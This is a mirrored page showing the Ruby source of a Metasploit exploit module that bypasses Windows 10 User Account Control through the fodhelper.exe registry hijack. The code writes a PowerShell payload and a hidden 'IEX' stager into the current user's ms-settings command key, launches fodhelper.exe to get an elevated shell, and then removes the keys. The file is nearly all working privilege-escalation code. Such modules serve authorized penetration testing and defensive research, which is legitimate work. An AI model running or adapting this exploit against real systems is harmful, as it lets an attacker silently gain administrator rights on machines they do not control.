CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_fodhelper.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::Powershell
10
include Post::Windows::Priv
11
include Post::Windows::Registry
12
include Post::Windows::Runas
13
14
FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze
15
FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze
16
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
17
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
18
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
19
FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze
20
CMD_MAX_LEN = 16383
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
27
'Description' => %q{
28
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
29
the current user hive, and inserting a custom command that will get invoked when
30
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
31
flag turned off.
32
33
This module modifies a registry key, but cleans up the key once the payload has
34
been invoked.
35
36
The module does not require the architecture of the payload to match the OS. If
37
specifying EXE::Custom your DLL should call ExitProcess() after starting your
38
payload in a separate process.
39
},
40
'License' => MSF_LICENSE,
41
'Author' => [
42
'winscriptingblog', # UAC bypass discovery and research
43
'amaloteaux', # MSF module
44
],
45
'Platform' => ['win'],
46
'SessionTypes' => ['meterpreter'],
47
'Targets' => [
48
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
49
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
50
],
51
'DefaultTarget' => 0,
52
'References' => [
53
['URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/'],
54
['URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'],
55
['URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/']
56
],
57
'DisclosureDate' => '2017-05-12',
58
'Compat' => {
59
'Meterpreter' => {
60
'Commands' => %w[
61
stdapi_sys_process_execute
62
]
63
}
64
}
65
)
66
)
67
end
68
69
def check
70
version = get_version_info
71
if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled?
72
Exploit::CheckCode::Appears
73
else
74
Exploit::CheckCode::Safe
75
end
76
end
77
78
def exploit
79
commspec = '%COMSPEC%'
80
registry_view = REGISTRY_VIEW_NATIVE
81
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
82
83
# Make sure we have a sane payload configuration
84
if sysinfo['Architecture'] == ARCH_X64
85
if session.arch == ARCH_X86
86
# fodhelper.exe is x64 only exe
87
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
88
if target_arch.first == ARCH_X64
89
# We can't use absolute path here as
90
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
91
psh_path = 'powershell.exe'
92
end
93
end
94
if target_arch.first == ARCH_X86
95
# Invoking x86, so switch to SysWOW64
96
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
97
end
98
elsif target_arch.first == ARCH_X64
99
# if we're on x86, we can't handle x64 payloads
100
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
101
end
102
103
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
104
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
105
end
106
107
# Validate that we can actually do things before we bother
108
# doing any more work
109
check_permissions!
110
111
case get_uac_level
112
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
113
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
114
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
115
fail_with(Failure::NotVulnerable,
116
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
117
when UAC_DEFAULT
118
print_good('UAC is set to Default')
119
print_good('BypassUAC can bypass this setting, continuing...')
120
when UAC_NO_PROMPT
121
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
122
shell_execute_exe
123
return
124
end
125
126
payload_value = rand_text_alpha(8)
127
psh_path = expand_path(psh_path)
128
129
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
130
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
131
132
if psh_payload.length > CMD_MAX_LEN
133
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
134
end
135
136
psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
137
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
138
139
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
140
exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
141
142
if existing.empty?
143
registry_createkey(FODHELPER_WRITE_KEY, registry_view)
144
end
145
146
print_status('Configuring payload and stager registry keys ...')
147
unless exist_delegate
148
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
149
end
150
151
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
152
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
153
154
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
155
cmd_path = expand_path(commspec)
156
cmd_args = expand_path("/c #{FODHELPER_PATH}")
157
print_status("Executing payload: #{cmd_path} #{cmd_args}")
158
159
# We can't use cmd_exec here because it blocks, waiting for a result.
160
client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })
161
162
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
163
# TODO: fix this up to use something smarter than a timeout?
164
Rex.sleep(5)
165
166
handler(client)
167
168
print_status('Cleaining up registry keys ...')
169
unless exist_delegate
170
registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
171
end
172
if existing.empty?
173
registry_deletekey(FODHELPER_DEL_KEY, registry_view)
174
else
175
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
176
end
177
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
178
end
179
180
def check_permissions!
181
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
182
183
# Check if you are an admin
184
vprint_status('Checking admin status...')
185
admin_group = is_in_admin_group?
186
187
unless check == Exploit::CheckCode::Appears
188
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
189
end
190
191
unless is_in_admin_group?
192
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
193
end
194
195
print_status('UAC is Enabled, checking level...')
196
if admin_group.nil?
197
print_error('Either whoami is not there or failed to execute')
198
print_error('Continuing under assumption you already checked...')
199
elsif admin_group
200
print_good('Part of Administrators group! Continuing...')
201
else
202
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
203
end
204
205
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
206
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
207
end
208
end
209
end
210
211